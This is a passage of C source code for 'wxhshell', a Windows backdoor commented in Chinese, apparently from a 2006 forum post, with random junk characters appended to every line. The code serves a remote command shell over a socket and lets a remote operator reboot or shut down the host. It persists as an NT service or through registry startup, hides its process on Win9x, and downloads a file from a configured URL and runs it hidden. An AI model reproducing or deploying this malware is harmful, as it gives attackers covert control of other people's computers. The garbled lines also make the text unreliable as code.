  ,%KB\;1mn'  
  // 帮助 ( j-(fS  
  case '?': { >Mvt;'c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^2mXXAQf7^  
    break; }>Os@]*'^(  
  } N}dJ)<(2~  
  // 安装 pg>P]a{  
  case 'i': { -9aht}Z  
    if(Install()) 'm2,7]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *K+*0_  
    else G %#us3x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F5MWxAS,>  
    break; s#d# *pgzh  
    } ZnJnjW PQ  
  // 卸载 x(t} H8q  
  case 'r': { '6xn!dK  
    if(Uninstall()) ^ MddfBwk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =} vG|  
    else 8L|C&Ymj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,$}Q#q  
    break; _aD x('  
    } _OrE{  
  // 显示 wxhshell 所在路径 Y/$SriC_+'  
  case 'p': { _8S).*  
    char svExeFile[MAX_PATH]; J@Orrz2q#  
    strcpy(svExeFile,"\n\r"); H/L3w|2+  
      strcat(svExeFile,ExeFile); Z2$-},i  
        send(wsh,svExeFile,strlen(svExeFile),0); +pF z&)?  
    break; N7;E 2 X  
    } \\/X+4|o'  
  // 重启 -_314j=`/  
  case 'b': { +QHhAA$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u{3KV6MS  
    if(Boot(REBOOT)) S((8DSt*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); He]F~GXP  
    else { ntF(K/~Y  
    closesocket(wsh); #JW1JCT  
    ExitThread(0); EAq >v t83  
    } 1gt[_P2u  
    break; d@w I: 7  
    } Yb6\+}th  
  // 关机 qkBnEPWZy  
  case 'd': { qb9%Y/xy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WYh7Y  
    if(Boot(SHUTDOWN)) 5o72X k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >)5vsqGZaK  
    else { sV*Q8b*  
    closesocket(wsh); 3; M!]9ms  
    ExitThread(0); 3$kZu  
    } &G"]v]V  
    break; +L49 pv5  
    } 1/fvk  
  // 获取shell -~-2 g  
  case 's': { '{+hti,Lh  
    CmdShell(wsh); K3Xy%pqR#  
    closesocket(wsh); *Z0}0< D@Z  
    ExitThread(0); @+ 2Zt%  
    break; V2y[IeSQ  
  } _ Po9pZ  
  // 退出 Ec[:6}  
  case 'x': { 6@$[x* V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' 5Ieqpm9  
    CloseIt(wsh); au7BqV!uL  
    break; {Ise (>V  
    } \ agC Q&  
  // 离开 ?3|ZS8y  
  case 'q': { eU12*(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Th8Q ~*v  
    closesocket(wsh); L*l( ~t)vF  
    WSACleanup(); V*TG%V -  
    exit(1); b,@:eVQ7  
    break; 2`},;i~[  
        } [Dt\E4  
  }  z7K?rgH  
  } "ulaF+  
JBYQ7SsAS0  
  // 提示信息  qJK^i.e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2cDC6rul  
} Wu}Co  
  } ._R82 gy  
"d#s|_n,d)  
  return; K)14v;@  
} <AIsNqr  
F0!r9U((  
// shell模块句柄 ]6aM %r=c  
int CmdShell(SOCKET sock) t #AQD]h  
{ q{@Wn]!k  
STARTUPINFO si; q3[LnmH  
ZeroMemory(&si,sizeof(si)); UkYQ<MNO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i3~!ofTb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iIT<{m&`  
PROCESS_INFORMATION ProcessInfo; "2h#i nS  
char cmdline[]="cmd"; lfKknp#B/O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZHBwoC#5}  
  return 0; 54OYAkPCk  
} X-duG*~  
H{V-C_  
// 自身启动模式 e,x@?L*  
int StartFromService(void) 'l}3Iua6qk  
{ vIREvj#U  
typedef struct m=K XMX  
{ ^w HMKC  
  DWORD ExitStatus; WDX?|q9rCt  
  DWORD PebBaseAddress; ;e{2?}#8&  
  DWORD AffinityMask; kj8zWG4KH  
  DWORD BasePriority; `SG70/  
  ULONG UniqueProcessId; 5FzRusNiA  
  ULONG InheritedFromUniqueProcessId; I)x:NF6JO  
}   PROCESS_BASIC_INFORMATION; <V, ?!}V  
l&rDa=m.J  
PROCNTQSIP NtQueryInformationProcess; :X!(^ a;]  
M{S7ia"s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pqs)ueu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I*ej_cFQ^  
_c&*'IY[V  
  HANDLE             hProcess; 4EpzCaEZ  
  PROCESS_BASIC_INFORMATION pbi; Za} |Ee  
m^=, RfUUd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V ": BAn  
  if(NULL == hInst ) return 0; S ~_%  
I45A$nV#Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {)[i\=,`{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BOWTH{KR<<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r:q#l~;^  
8iCI s=06  
  if (!NtQueryInformationProcess) return 0; sH]AB =_  
ELPJ}moWZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e%P;Jj476  
  if(!hProcess) return 0; {, |"Rpd  
`~}7k)F(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bDkE*4SRX  
8N`$7^^  
  CloseHandle(hProcess); *"5a5.`%,  
`%Ghtm*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <_>6a7ra  
if(hProcess==NULL) return 0; /;0>*ft4  
d{he  
HMODULE hMod; EH:1Z*|Z{\  
char procName[255]; q^cFD  
unsigned long cbNeeded; <Z;7=k  
&SM$oy#?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^M9oTNk2  
DG-vTr  
  CloseHandle(hProcess); GKSy|z  
Q.XsY.{  
if(strstr(procName,"services")) return 1; // 以服务启动 ,dp?'_q {  
pxbNeqK@p  
  return 0; // 注册表启动 vP4Ij  
} s,k1KTXg<B  
IX(yajc[~M  
// 主模块 M~Slc*_%  
int StartWxhshell(LPSTR lpCmdLine) g#:XN  
{ GW#kaqC1  
  SOCKET wsl; :2My|3H\  
BOOL val=TRUE; qIT{`hX  
  int port=0; 85fDuJ9$Z"  
  struct sockaddr_in door; AN>`M?EQ  
u s0'7|{q  
  if(wscfg.ws_autoins) Install(); =tNiIU  
Tc(R-Wi  
port=atoi(lpCmdLine); {XXNl)%  
9c^EoYpy-  
if(port<=0) port=wscfg.ws_port; "{k )nr+7U  
$iPN5@F  
  WSADATA data; *\WI!%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `Y;gMrp  
}^<zVdwp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FNM"!z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _PbfFY #  
  door.sin_family = AF_INET; Mh|`XO.5I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w3N%J>4_E  
  door.sin_port = htons(port); T/;hIX:R  
$te,\$&}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \i+h P1 mz  
closesocket(wsl); ,m?D\Pru  
return 1; -],?kP  
} DG\YZV4  
])L'Rk#4  
  if(listen(wsl,2) == INVALID_SOCKET) { j*u9+.   
closesocket(wsl); 0_ \ g  
return 1; h /QP=Zd  
} :\J bWj_j  
  Wxhshell(wsl); N^]>R :Stu  
  WSACleanup(); 4Jr[8P0/A9  
X@&uu0JJ  
return 0; /&d`c=nH  
sri#L+I  
} #6jwCEo=V  
&] 6T^.  
// 以NT服务方式启动 _0["J:s9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /A.i5=k  
{ /&:9VMMj  
DWORD   status = 0; .K1E1Z_  
  DWORD   specificError = 0xfffffff; ~ p.W*skD  
k#5e:VOb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a.IF%hP0xo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }.) 43(>]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4_I{Q^f  
  serviceStatus.dwWin32ExitCode     = 0; d`<^+p)oy  
  serviceStatus.dwServiceSpecificExitCode = 0; .GN$H>')  
  serviceStatus.dwCheckPoint       = 0; %`'z^W  
  serviceStatus.dwWaitHint       = 0; 1GE%5  
nj0AO0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k3 [h'.ps  
  if (hServiceStatusHandle==0) return; 6xIYg^  
_`{{39 F  
status = GetLastError(); 5b`xN!c  
  if (status!=NO_ERROR) 25c!-.5D  
{ 2 `h!:0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B;]5,`#!  
    serviceStatus.dwCheckPoint       = 0; )UZ0gfx  
    serviceStatus.dwWaitHint       = 0; x5z4Yv^ m  
    serviceStatus.dwWin32ExitCode     = status; OG+r|.N;  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,(27p6!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~!-8l&C  
    return; >DUE8hp ;<  
  } Hq\E 06S@  
M|#5gKXd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *-AAQ  
  serviceStatus.dwCheckPoint       = 0; ~1r*/@M[V  
  serviceStatus.dwWaitHint       = 0; [F)/mN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 62l0 Z-  
} |id79qY7g  
E:4P1,%01+  
// 处理NT服务事件,比如:启动、停止 s!/holu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XH:gQ9FD  
{ if[o?6U4t  
switch(fdwControl) 4_762Gu%  
{ N 3yB1_   
case SERVICE_CONTROL_STOP: tP Efz+1N  
  serviceStatus.dwWin32ExitCode = 0; hJo^Wo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y-3[KHD  
  serviceStatus.dwCheckPoint   = 0; L^Q+Q)zTh  
  serviceStatus.dwWaitHint     = 0; ,Q=)$ `%  
  { Eh@T W%9*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + lB+|yJ+  
  } Mev-M2A  
  return; zt[4_;2Y  
case SERVICE_CONTROL_PAUSE: +:]Aqyc\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EPe]-C`  
  break; '<&EPUO  
case SERVICE_CONTROL_CONTINUE: -)O kG#J@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B.mbKntK)R  
  break; aDl, K;GL  
case SERVICE_CONTROL_INTERROGATE: g{W6a2  
  break; blfE9Oy  
}; {p e7]P?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HCx%_9xlm  
} B>|U-[A  
8gbm"!  
// 标准应用程序主函数 mbX)'. +L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E/7vIg F  
{ qbU1qF/  
j[/SXF\=  
// 获取操作系统版本 ~nj bLUB  
OsIsNt=GetOsVer(); qHR^0&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cl9SPz  
RZ|HwYG  
  // 从命令行安装 g{ v5mly  
  if(strpbrk(lpCmdLine,"iI")) Install(); `  -[Bo  
zyZok*s  
  // 下载执行文件 "37@Zt  
if(wscfg.ws_downexe) { 6A$_&?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gR;8ht(pd(  
  WinExec(wscfg.ws_filenam,SW_HIDE); uspkn1-  
} +% XhQ  
Sj0 ucnuHi  
if(!OsIsNt) { <E[HlL  
// 如果时win9x,隐藏进程并且设置为注册表启动  ^%5~ ;  
HideProc(); J+@MzkpK  
StartWxhshell(lpCmdLine); i.&Kpw9;m  
} XSp x''l  
else jom} _  
  if(StartFromService()) GSGyF  
  // 以服务方式启动 hC|5e|S  
  StartServiceCtrlDispatcher(DispatchTable); [%7;f|p?  
else NMl ?Y uEv  
  // 普通方式启动 m@G<ZCMZ  
  StartWxhshell(lpCmdLine); FDVI>HK @  
E/~"j  
return 0; N75 3  
}
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只看该作者 1 发表于: 2006-10-10
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